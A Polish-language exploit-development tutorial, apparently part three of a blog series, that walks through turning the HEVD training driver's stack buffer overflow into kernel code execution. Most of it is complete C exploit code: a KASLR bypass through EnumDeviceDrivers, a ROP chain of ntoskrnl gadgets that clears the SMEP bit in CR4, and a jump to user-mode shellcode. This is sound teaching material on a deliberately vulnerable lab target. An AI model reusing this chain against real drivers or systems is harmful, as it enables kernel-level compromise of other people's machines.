[PL] HEVD Stack Buffer Overflow #3 - Arbitrary Code Execution
W poprzednim blogu udało się nadpisać adres powrotu w funkcji TriggerBufferStackOverflow. W tym artykule przyjrzymy się, jak wykorzystać tą podatność do wykonania dowolnego kodu z uprawnieniami jądra (Ring 0).
Kod który wykonywać będziemy z poziomu kernela to:
1
2
3
4
5
6
.code
main PROC
mov rax, 2137h
ret
main ENDP
END
Jest to najprostszy kod ustawiający zawartość rejestru RAX na 0x2137. Oczywiście instrukcję tą można wykonać z każdego miejsca, w tym z user-landu, natomiast kod wykorzystujący przywileje systemowe stworzymy w dalszej części naszej przygody.
Do konwersji kodu masm na shellcode który możemy zaalokować w pamięci posłużę się autorskim narzędziem masm2c :).
Kod po konwersji na shellcode w języku C wygląda następująco:
1
2
3
BYTE shellcode[] = {
0x48, 0xC7, 0xC0, 0x37, 0x21, 0x00, 0x00, 0xC3,
};
Poniżej znajduje się exploit, który wykorzystuje zdobytą wcześniej wiedzę do umieszczenia i próby wykonania tego shellcode’u:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <stdio.h>
#include <Windows.h>
#include <stdint.h>
#define ull uint64_t
HANDLE getHandle() {
HANDLE hDriver = CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", // Symlink do sterownika
GENERIC_READ | GENERIC_WRITE, // Pełne uprawnienia dostępu
0,
NULL,
OPEN_EXISTING, // Uzyskujemy dostęp wyłącznie do istniejącego obiektu
0,
NULL
);
if (hDriver == INVALID_HANDLE_VALUE) {
DWORD err = GetLastError();
printf("[!] Nieudana próba uzyskania handle do sterownika, error: %d\n", err);
exit(1);
}
printf("[+] Uzyskano handle do sterownika\n");
return hDriver;
}
LPVOID fillPattern(int inBufferSize) {
// Alokujemy pamięć, której adres przekażemy do metody sterownika
LPVOID inBuffer = VirtualAlloc(NULL, // Bez określonego adresu początkowego
inBufferSize, // Liczba bajtów do alokacji
MEM_COMMIT | MEM_RESERVE, // Rezerwacja i inicjalizacja pamięci
PAGE_EXECUTE_READWRITE // Pamięć posiada pełne uprawnienia do modyfikacji oraz wykonywania
);
if (inBuffer == NULL) {
DWORD err = GetLastError();
printf("[!] Nieudało się zaalokować pamięci, error: %d\n", err);
exit(1);
}
printf("[+] Pomyślnie zaalokowano %d bajtów pamięci\n", inBufferSize);
RtlFillMemory(inBuffer, inBufferSize, 'A');
return inBuffer;
}
//kod z shellcode.asm który będzie wykonywany w ring 0.
LPVOID allocateShellcode() {
BYTE shellcode[] = {
0x48, 0xC7, 0xC0, 0x37, 0x21, 0x00, 0x00, 0xC3,
};
LPVOID shellpage = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellpage, shellcode, sizeof(shellcode));
return shellpage;
}
int main()
{
HANDLE hDriver = getHandle(); // Uzyskujemy handle do komunikacji ze sterownikiem
//Alokujemy pamięć, która trafi na stos
const int inBufferSize = 2080;
LPVOID inBuffer = fillPattern(inBufferSize);
LPVOID shellPage = allocateShellcode();
//wskaźnik na wierzchołek stosu
ull* stackVertice = (ull*)((ull)inBuffer + 2072);
ull SHELLCODE = (ull)shellPage;
*(stackVertice) = SHELLCODE;
DeviceIoControl(hDriver, // Handle do sterownika
0x222003, // Kod IOCTL funkcji BufferOverflowStackIoctlHandler
(LPVOID)inBuffer, // Nasz bufor wejściowu
inBufferSize, // Rozmiar buforu wejściowego
NULL, // Brak buforu wyjściowego
0,
NULL,
NULL
);
return 0;
}
Wierzchołek stosu poprawnie wskazuje na naszą nowo-zaalokowaną pamięć

Niestety, kod nie wykonuje się.

Na VMce otrzymujemy BSOD z kodem ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY

Dlaczego tak się dzieje?
SMEP
Supervisor Mode Execution Prevention to mechanizm zapobiegający wykonywaniu kodu user-mode z poziomu Ring 0. Czyli dokładnie to co próbujemy zrobić. Całe szczęście istnieje sprytny sposób na wyłączenie tej funkcjonalności, prosto z kernela windowsa. O tym czy mechanizm SMEP jest włączony decyduje bit 20 w rejestrze CR4. Na naszej maszynie wirtualnej rejestr CR4 ma wartość:
CR4: 0000000000B50EF8
Konwertując na wartość binarną
1
2
3
101101010000111011111000
|
1 -> SMEP Włączony
Skoro kontrolujemy stos, możemy zbudować tzw. ROP Chain. Zamiast skakać bezpośrednio do naszego shellcode’u, skoczymy najpierw do istniejących w jądrze instrukcji (gadżetów), które zmienią wartość rejestru CR4, a dopiero potem wrócimy do naszego kodu.
Z pomocą przychodzi narzędzie ropper, które wyszukuje w pliku wykonywalnym rozkazów zakończonych rozkazem ret, bo takie nas interesują. Pobrałem z VM’ki plik ntoskrnl.exe który zawsze załadowany jest w pamięci. Sprawdźmy czy znajduje się w nim rozkaz manipulujący rejestrem CR4:
BINGO! Widzimy tu paru kandydatów, z czego najbardziej obiecującym jest
0x00000001403a0a87: mov cr4, rcx; ret;
Ponieważ znajduje się w sekcji .text (sprawdzone w Ghidrze), pod offsetem 0x3a0a87, istnieje duża szansa, że faktycznie będziemy mogli go w tym miejscu znaleźć. Potrzebujemy jeszcze gadżetu który wczyta wyznaczoną przez nas wartość do rejestru RCX. Takowy znajduje się tutaj:
0x00000001402148c8: pop rcx; ret;
Początkowo podjąłem próbę stworzenia ROP Chaina z wykorzystaniem gadżetu
mov cr4, rax; ret;. Ze względu na to, że znajduje się w sekcjiMINIEX, nie byłem w stanie niezawodnie określić pod jakim offsetem się znajduje na działającej maszynie.
Jeżeli uda nam się wczytać do rejestru RCX wartość CR4 z bitem 20-stym ustawionym na 0, ustawić rejestr CR4 na RCX, oraz powrócić do naszego kodu, pozwoli nam to na wykonywanie kodu user-mode przez Ring 0.
Program ropper zakłada adres bazowy kernela równy 0x0000000140000000. Niestety nie zawsze tak to wygląda, ponieważ dochodzi kolejne zabezpieczenie
KASLR
Kernel Address Space Layout Randomization to jak sama nazwa wskazuje mechanizm randomizujący adres bazowy kernela. Objawia to się tym, że przy każdym uruchomieniu komputera, kod ntoskrnl.exe znajduje się pod innym offsetem w pamięci.
Całe szczęście rozwiązanie mamy na wyciągnięcie ręki, a mianowicie za pośrednictwem funkcji EnumDeviceDrivers.
Zaczynając od Windowsa 11 24H2, uzyskanie adresów wymaga przywileju SeDebugPrivilege !!!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ull getKernelBase() {
// kod z getkernelbase.cpp
const int ARRAY_SIZE = 1024;
LPVOID drivers[ARRAY_SIZE];
DWORD cbNeeded;
int cDrivers, i;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
{
_tprintf(TEXT("[+] Adres bazowy kernela to: %llx\n"), (ull)drivers[0]);
return (ull)drivers[0];
}
else
{
_tprintf(TEXT("[!] Polecenie EnumDeviceDrivers nieudane; wymagany rozmiar tablicy przekazywanej jako parametr to %zd\n"), cbNeeded / sizeof(LPVOID));
return -1;
}
return -1;
}
Powyższy kod efektywnie ujawnia adres bazowy kernela.
ACE
Łącząc wszystkie informacje które zebraliśmy, stwórzmy program który omija zarówno SMEP jak i KASLR.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#include <stdio.h>
#include <Windows.h>
#include <stdint.h>
#include <psapi.h>
#include <tchar.h>
#define ull uint64_t
HANDLE getHandle() {
HANDLE hDriver = CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", // Symlink do sterownika
GENERIC_READ | GENERIC_WRITE, // Pełne uprawnienia dostępu
0,
NULL,
OPEN_EXISTING, // Uzyskujemy dostęp wyłącznie do istniejącego potoku
0,
NULL
);
if (hDriver == INVALID_HANDLE_VALUE) {
DWORD err = GetLastError();
printf("[!] Nieudana próba uzyskania handle do sterownika, error: %d\n", err);
exit(1);
}
printf("[+] Uzyskano handle do sterownika\n");
return hDriver;
}
ull getKernelBase() {
const int ARRAY_SIZE = 1024;
LPVOID drivers[ARRAY_SIZE];
DWORD cbNeeded;
int cDrivers, i;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
{
_tprintf(TEXT("[+] Adres bazowy kernela to: %llx\n"), (ull)drivers[0]);
return (ull)drivers[0];
}
else
{
_tprintf(TEXT("[!] Polecenie EnumDeviceDrivers nieudane; wymagany rozmiar tablicy przekazywanej jako parametr to %zd\n"), cbNeeded / sizeof(LPVOID));
return -1;
}
return -1;
}
LPVOID fillPattern(int inBufferSize) {
// Alokujemy pamięć, której adres przekażemy do metody sterownika
LPVOID inBuffer = VirtualAlloc(NULL, // Bez określonego adresu początkowego
inBufferSize, // Liczba bajtów do alokacji
MEM_COMMIT | MEM_RESERVE, // Rezerwacja i inicjalizacja pamięci
PAGE_EXECUTE_READWRITE // Pamięć posiada pełne uprawnienia do modyfikacji oraz wykonywania
);
if (inBuffer == NULL) {
DWORD err = GetLastError();
printf("[!] Nieudało się zaalokować pamięci, error: %d\n", err);
exit(1);
}
printf("[+] Pomyślnie zaalokowano %d bajtów pamięci\n", inBufferSize);
RtlFillMemory(inBuffer, inBufferSize, 'A');
return inBuffer;
}
//kod z shellcode.asm który będzie wykonywany w ring 0.
LPVOID allocateShellcode() {
BYTE shellcode[] = {
0x48, 0xC7, 0xC0, 0x37, 0x21, 0x00, 0x00, 0xC3,
};
LPVOID shellpage = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellpage, shellcode, sizeof(shellcode));
return shellpage;
}
int main()
{
HANDLE hDriver = getHandle(); // Uzyskujemy handle do komunikacji ze sterownikiem
ull kernelBase = getKernelBase();
if (kernelBase == -1) {
printf("Failed to acquire kernel base address, exiting.\n");
return 1;
}
//Alokujemy pamięć, która trafi na stos
const int inBufferSize = 2104;
LPVOID inBuffer = fillPattern(inBufferSize);
LPVOID shellPage = allocateShellcode();
//wskaźnik na wierzchołek stosu
ull* stackVertice = (ull*)((ull)inBuffer + 2072);
ull cr4_value = 0x0000000000A50EF8;
//przygotowujemy wartości na stos
ull POP_RCX = kernelBase + 0x2148c8;
ull CR4 = cr4_value;
ull MOV_CR4_RCX = kernelBase + 0x3a0a87;
ull SHELLCODE = (ull)shellPage;
//umieszczamy wartości na stosie w kolejności wykonywania.
int inc = 0;
*(stackVertice + inc++) = POP_RCX;
*(stackVertice + inc++) = CR4;
*(stackVertice + inc++) = MOV_CR4_RCX;
*(stackVertice + inc++) = SHELLCODE;
DeviceIoControl(hDriver, // Handle do sterownika
0x222003, // Kod IOCTL funkcji BufferOverflowStackIoctlHandler
(LPVOID)inBuffer, // Nasz bufor wejściowy
inBufferSize, // Rozmiar buforu wejściowego
NULL, // Brak buforu wyjściowego
0,
NULL,
NULL
);
return 0;
}
Wykonanie tego kodu daje oczekiwany rezultat:
Udało się ominąć zabezpieczenie KASLR, zmienić zawartość rejestru CR4 wyłączając tym sposobem mechanizm SMEP oraz wykonać ustawiony przez nas rozkaz z poziomu Ring 0.
W następnych blogach przyjrzymy się dwóm tematom: powrotem do user-landu, oraz wykorzystaniem nabytych możliwości do LPE.



